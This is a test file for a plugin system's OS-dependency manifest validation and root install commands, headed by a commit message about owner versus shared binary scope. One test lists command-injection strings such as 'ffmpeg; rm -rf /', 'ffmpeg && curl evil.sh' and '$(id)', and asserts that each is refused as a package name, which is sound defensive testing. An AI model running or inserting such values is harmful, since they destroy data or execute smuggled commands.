The probe asked the owner's login shell where a binary was, and the install reported that as a fact about the machine. For a confined plugin the work happens as the member's own Linux user, in their own home, where the owner's ~/.local/bin is neither on PATH nor reliably reachable. On alpha it worked — because /home/pastilhas happens to be mode 751, world-traversable, so an absolute path resolved. At 750, the more usual default, every member would have lost every binary with nothing reporting it: the install would still have said satisfied, having only ever asked the owner. Nobody chose 751, and that is the part worth fixing. `scope: 'owner' | 'shared'` on an osDependency, defaulting to owner, an unrecognised value being a manifest error rather than a silent fall back to the permissive one. Shared changes three things. It is searched for on system directories only — asking the owner's shell would find the copy in the owner's home and call it satisfied, the exact false pass this exists to stop. Reachability is checked as world-executable AND every parent traversable to the root, because a binary at 755 inside a home at 700 is unreachable and stat on the file alone says it is fine. And a release binary goes to /usr/local/bin through sudo -n install, staged in the owner's space first so the download itself never runs as root. An unreachable shared dependency gets its own state and refuses the install ahead of every other check, because no package manager fixes it: the binary is installed and works, and what is wrong is where it lives — reinstalling would report success and change nothing. Not a security boundary, and docs/plugin-dependency-scope.md says so: anything in /usr/local/bin is runnable by any account with a shell, grant or no grant. That is already true of ffmpeg. The plugin's data is gated; its executable is not. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
307 lines
13 KiB
TypeScript
307 lines
13 KiB
TypeScript
import { afterAll, describe, expect, test } from 'bun:test';
|
||
import { mkdirSync, rmSync, writeFileSync } from 'node:fs';
|
||
import { homedir, tmpdir } from 'node:os';
|
||
import { join } from 'node:path';
|
||
import { manifestProblems, type DiscoveredPlugin, type OsDependency, type PluginManifest } from './manifest';
|
||
import { hostTarget, installCommand, manualInstallHint, reportDependencies } from './os-deps';
|
||
|
||
// The manifest field that reaches a ROOT command line, and the argv it turns into.
|
||
//
|
||
// Everything here is pure — no machine is probed, because what needs pinning is the two things a bad
|
||
// manifest could do: get a metacharacter into an argument, and get a package installed that the owner
|
||
// never saw named.
|
||
|
||
const base: PluginManifest = {
|
||
publisher: 'officerdev',
|
||
version: '1.0.0',
|
||
platform: '>=1.0.0',
|
||
label: 'Probe',
|
||
summary: 'fixture',
|
||
icon: 'Puzzle',
|
||
color: '#000000',
|
||
permissions: [],
|
||
};
|
||
|
||
const withDeps = (osDependencies: unknown): PluginManifest =>
|
||
({ ...base, osDependencies }) as unknown as PluginManifest;
|
||
|
||
describe('osDependencies validation', () => {
|
||
test('a plugin declaring nothing is fine — offscale and example are self-sufficient', () => {
|
||
expect(manifestProblems('probe', base)).toEqual([]);
|
||
});
|
||
|
||
test('the shape music uses is accepted', () => {
|
||
const problems = manifestProblems(
|
||
'probe',
|
||
withDeps([{ binary: 'ffprobe', reason: 'reads tags', packages: { apt: 'ffmpeg', brew: 'ffmpeg' } }]),
|
||
);
|
||
expect(problems).toEqual([]);
|
||
});
|
||
|
||
// The whole point of the field being narrow. These are argv entries in a command run as root, and the
|
||
// characters are refused rather than escaped — "our current spawn does not use a shell" is not a
|
||
// property to rest a root install on.
|
||
test.each([
|
||
['ffmpeg; rm -rf /'],
|
||
['ffmpeg && curl evil.sh'],
|
||
['$(id)'],
|
||
['`id`'],
|
||
['ff|mpeg'],
|
||
['../../bin/sh'],
|
||
['ffmpeg\nrm'],
|
||
['-rf'],
|
||
[''],
|
||
])('refuses %j as a package name', (name) => {
|
||
const problems = manifestProblems('probe', withDeps([{ binary: 'ffprobe', reason: 'x', packages: { apt: name } }]));
|
||
expect(problems.some((p) => p.includes('packages.apt'))).toBe(true);
|
||
});
|
||
|
||
test.each([['ff mpeg'], ['/usr/bin/ffmpeg'], ['ff;probe'], ['']])('refuses %j as a binary name', (name) => {
|
||
const problems = manifestProblems('probe', withDeps([{ binary: name, reason: 'x', packages: { apt: 'ffmpeg' } }]));
|
||
expect(problems.some((p) => p.includes('binary'))).toBe(true);
|
||
});
|
||
|
||
test('refuses a package manager it cannot drive', () => {
|
||
const problems = manifestProblems('probe', withDeps([{ binary: 'x', reason: 'y', packages: { yum: 'x' } }]));
|
||
expect(problems.some((p) => p.includes('unknown package manager "yum"'))).toBe(true);
|
||
});
|
||
|
||
// `reason` is required because it is what the owner reads when deciding whether to let this machine
|
||
// install something as root. "ffprobe" alone does not answer that.
|
||
test('requires a reason', () => {
|
||
const problems = manifestProblems('probe', withDeps([{ binary: 'ffprobe', packages: { apt: 'ffmpeg' } }]));
|
||
expect(problems.some((p) => p.includes('reason is required'))).toBe(true);
|
||
});
|
||
|
||
test('reports every problem at once rather than the first', () => {
|
||
const problems = manifestProblems('probe', withDeps([{ binary: 'bad name', packages: { apt: 'bad;name' } }]));
|
||
expect(problems.length).toBeGreaterThanOrEqual(3);
|
||
});
|
||
});
|
||
|
||
describe('installCommand', () => {
|
||
test('apt carries the non-interactive environment, matching lib/packages.sh', () => {
|
||
expect(installCommand('apt', ['ffmpeg'])).toEqual([
|
||
'sudo',
|
||
'-n',
|
||
'env',
|
||
'DEBIAN_FRONTEND=noninteractive',
|
||
'NEEDRESTART_MODE=a',
|
||
'apt-get',
|
||
'install',
|
||
'-y',
|
||
'ffmpeg',
|
||
]);
|
||
});
|
||
|
||
test('pacman uses --needed, so a package already there is not reinstalled', () => {
|
||
expect(installCommand('pacman', ['ffmpeg'])).toContain('--needed');
|
||
});
|
||
|
||
// Homebrew refuses to run as root, which is also why machine-setup never escalates on macOS.
|
||
test('brew never escalates', () => {
|
||
expect(installCommand('brew', ['ffmpeg'])).toEqual(['brew', 'install', 'ffmpeg']);
|
||
});
|
||
|
||
test('-n on sudo, always — a password prompt under PM2 is a hang, not a slow path', () => {
|
||
for (const pm of ['apt', 'pacman', 'dnf'] as const) {
|
||
const argv = installCommand(pm, ['x']);
|
||
expect(argv.slice(0, 2)).toEqual(['sudo', '-n']);
|
||
}
|
||
});
|
||
|
||
// argv, not a string. A package name is one element however many spaces it might have contained.
|
||
test('every package is its own argv element', () => {
|
||
const argv = installCommand('dnf', ['ffmpeg', 'imagemagick']);
|
||
expect(argv).toContain('ffmpeg');
|
||
expect(argv).toContain('imagemagick');
|
||
expect(argv.some((a) => a.includes(' '))).toBe(false);
|
||
});
|
||
});
|
||
|
||
describe('manualInstallHint', () => {
|
||
// Shown when the platform cannot escalate. It drops `-n`, because a person at a terminal CAN answer a
|
||
// password prompt — the flag exists for the unattended case only.
|
||
test('is runnable by a human: no -n', () => {
|
||
expect(manualInstallHint('apt', ['ffmpeg'])).toBe(
|
||
'sudo env DEBIAN_FRONTEND=noninteractive NEEDRESTART_MODE=a apt-get install -y ffmpeg',
|
||
);
|
||
});
|
||
|
||
test('is null when there is nothing to install or no manager to do it', () => {
|
||
expect(manualInstallHint('apt', [])).toBeNull();
|
||
expect(manualInstallHint(null, ['ffmpeg'])).toBeNull();
|
||
});
|
||
});
|
||
|
||
// ── Release binaries, and the namesake problem ──
|
||
//
|
||
// The motivating case is real: Gitea's `tea` is a Go binary from dl.gitea.com, and Debian has an
|
||
// unrelated package called `tea` that is a graphical text editor. `Bun.which('tea')` cannot tell them
|
||
// apart, so a platform that treats "on PATH" as "satisfied" installs the wrong program, reports success,
|
||
// and leaves every call failing in a way nobody traces back to here.
|
||
|
||
describe('a dependency that no package manager carries', () => {
|
||
const bin = join(tmpdir(), `dep-test-${process.pid}`);
|
||
|
||
const plugin = (dep: Partial<OsDependency>): DiscoveredPlugin =>
|
||
({
|
||
appName: 'test',
|
||
dir: '/tmp',
|
||
manifest: {
|
||
osDependencies: [{ binary: 'dep-test-fake', reason: 'testing', packages: {}, ...dep }],
|
||
},
|
||
}) as DiscoveredPlugin;
|
||
|
||
afterAll(() => rmSync(bin, { recursive: true, force: true }));
|
||
|
||
test('{os} and {arch} are filled from the host', () => {
|
||
const { os, arch } = hostTarget();
|
||
const report = reportDependencies(plugin({ release: { url: 'https://x/y-{os}-{arch}' } }));
|
||
expect(report.dependencies[0]!.releaseUrl).toBe(`https://x/y-${os}-${arch}`);
|
||
});
|
||
|
||
test('a release makes it resolvable even with no package manager entry', () => {
|
||
const report = reportDependencies(plugin({ release: { url: 'https://x/y-{os}-{arch}' } }));
|
||
// The whole point: `packages: {}` would otherwise be unresolvable and block the install.
|
||
expect(report.unresolvable).toEqual([]);
|
||
});
|
||
|
||
test('with neither a package nor a release it is still unresolvable', () => {
|
||
expect(reportDependencies(plugin({})).unresolvable.length).toBe(1);
|
||
});
|
||
});
|
||
|
||
describe('identity — presence is not the same as being the right program', () => {
|
||
const dir = join(tmpdir(), `dep-id-${process.pid}`);
|
||
const name = 'officer-dep-probe';
|
||
|
||
// Written to `~/.local/bin` because that is where `searchPath` looks — `Bun.which` reads the PATH the
|
||
// process STARTED with, so a temp directory added to `process.env.PATH` here would be invisible. That
|
||
// is the same reason the production code passes PATH explicitly.
|
||
const localBin = join(homedir(), '.local', 'bin');
|
||
const writeFake = (body: string) => {
|
||
mkdirSync(localBin, { recursive: true });
|
||
writeFileSync(join(localBin, name), `#!/bin/sh\n${body}\n`, { mode: 0o755 });
|
||
};
|
||
|
||
afterAll(() => {
|
||
rmSync(join(localBin, name), { force: true });
|
||
rmSync(dir, { recursive: true, force: true });
|
||
});
|
||
|
||
const plugin = (identify?: { args: string[]; contains: string }): DiscoveredPlugin =>
|
||
({
|
||
appName: 'test',
|
||
dir: '/tmp',
|
||
manifest: {
|
||
osDependencies: [
|
||
{
|
||
binary: name,
|
||
reason: 'testing',
|
||
packages: {},
|
||
release: { url: 'https://x/y-{os}-{arch}', ...(identify ? { identify } : {}) },
|
||
},
|
||
],
|
||
},
|
||
}) as DiscoveredPlugin;
|
||
|
||
test('a namesake that does not identify is NOT present, and is named an imposter', () => {
|
||
writeFake('echo "graphical text editor 62.0.2"');
|
||
const status = reportDependencies(plugin({ args: ['--version'], contains: 'go-sdk' })).dependencies[0]!;
|
||
expect(status.path).not.toBeNull(); // it IS on PATH
|
||
expect(status.present).toBe(false); // and that is not enough
|
||
expect(status.imposter).toBe(true);
|
||
});
|
||
|
||
test('the right program identifies and is present', () => {
|
||
writeFake('echo "Version: 0.15.1 golang: 1.26.5 go-sdk: v1.2.0"');
|
||
const status = reportDependencies(plugin({ args: ['--version'], contains: 'go-sdk' })).dependencies[0]!;
|
||
expect(status.present).toBe(true);
|
||
expect(status.imposter).toBe(false);
|
||
});
|
||
|
||
test('without an identify rule, presence is taken at face value — running an unknown binary has a cost', () => {
|
||
writeFake('echo "anything at all"');
|
||
const status = reportDependencies(plugin()).dependencies[0]!;
|
||
expect(status.present).toBe(true);
|
||
expect(status.imposter).toBe(false);
|
||
});
|
||
});
|
||
|
||
// ── scope: who has to be able to run it ──
|
||
//
|
||
// The bug this pins is a false PASS, which is the hard kind to notice. The probe asked the owner's login
|
||
// shell where a binary was; for a `confined` plugin the work happens as somebody else's Linux user, and
|
||
// nothing checked whether they could reach it. On alpha they could — but only because `/home/<owner>`
|
||
// happened to be mode 751. At 750, the more usual default, every member would have lost every binary
|
||
// with no probe reporting anything.
|
||
|
||
describe('osDependencies scope validation', () => {
|
||
test('absent is fine — owner-scoped is the default and most dependencies are', () => {
|
||
expect(
|
||
manifestProblems('probe', withDeps([{ binary: 'ffmpeg', reason: 'r', packages: { apt: 'ffmpeg' } }])),
|
||
).toEqual([]);
|
||
});
|
||
|
||
test('owner and shared are accepted', () => {
|
||
for (const scope of ['owner', 'shared']) {
|
||
expect(
|
||
manifestProblems('probe', withDeps([{ binary: 'ffmpeg', reason: 'r', packages: { apt: 'ffmpeg' }, scope }])),
|
||
).toEqual([]);
|
||
}
|
||
});
|
||
|
||
test('anything else is a manifest error, not a silent default', () => {
|
||
const problems = manifestProblems(
|
||
'probe',
|
||
withDeps([{ binary: 'ffmpeg', reason: 'r', packages: { apt: 'ffmpeg' }, scope: 'everyone' }]),
|
||
);
|
||
expect(problems.some((p) => p.includes('scope must be "owner" or "shared"'))).toBe(true);
|
||
});
|
||
});
|
||
|
||
describe('a shared dependency is judged on where it lives, not just whether it exists', () => {
|
||
const scratch = join(tmpdir(), `os-deps-scope-${process.pid}`);
|
||
afterAll(() => rmSync(scratch, { recursive: true, force: true }));
|
||
|
||
const pluginWith = (dep: OsDependency): DiscoveredPlugin =>
|
||
({
|
||
appName: 'probe',
|
||
dir: scratch,
|
||
manifest: { ...base, osDependencies: [dep] },
|
||
}) as unknown as DiscoveredPlugin;
|
||
|
||
test('a shared binary that exists only in the owner’s home reads as missing', () => {
|
||
// The owner's login shell would find this and call the dependency satisfied. A member's shell would
|
||
// not: it is not on their PATH, and reaching it means traversing a home that may refuse them.
|
||
const ownerBin = join(homedir(), '.local', 'bin');
|
||
mkdirSync(ownerBin, { recursive: true });
|
||
const name = `os-deps-scope-probe-${process.pid}`;
|
||
const path = join(ownerBin, name);
|
||
writeFileSync(path, '#!/bin/sh\necho probe\n', { mode: 0o755 });
|
||
|
||
try {
|
||
const owned = reportDependencies(pluginWith({ binary: name, reason: 'r', packages: {} }));
|
||
expect(owned.dependencies[0]!.present).toBe(true);
|
||
|
||
const shared = reportDependencies(pluginWith({ binary: name, reason: 'r', packages: {}, scope: 'shared' }));
|
||
expect(shared.dependencies[0]!.present).toBe(false);
|
||
// Not "unreachable" — from a shared point of view it was never found at all, because the search
|
||
// never leaves the system directories.
|
||
expect(shared.dependencies[0]!.path).toBe(null);
|
||
expect(shared.dependencies[0]!.scope).toBe('shared');
|
||
} finally {
|
||
rmSync(path, { force: true });
|
||
}
|
||
});
|
||
|
||
test('a real system binary satisfies a shared dependency', () => {
|
||
// `sh` is in /bin on every machine this runs on, world-executable, behind nothing.
|
||
const report = reportDependencies(pluginWith({ binary: 'sh', reason: 'r', packages: {}, scope: 'shared' }));
|
||
expect(report.dependencies[0]!.present).toBe(true);
|
||
expect(report.dependencies[0]!.unreachable).toBe(false);
|
||
expect(report.canInstall).toBe(true);
|
||
});
|
||
});
|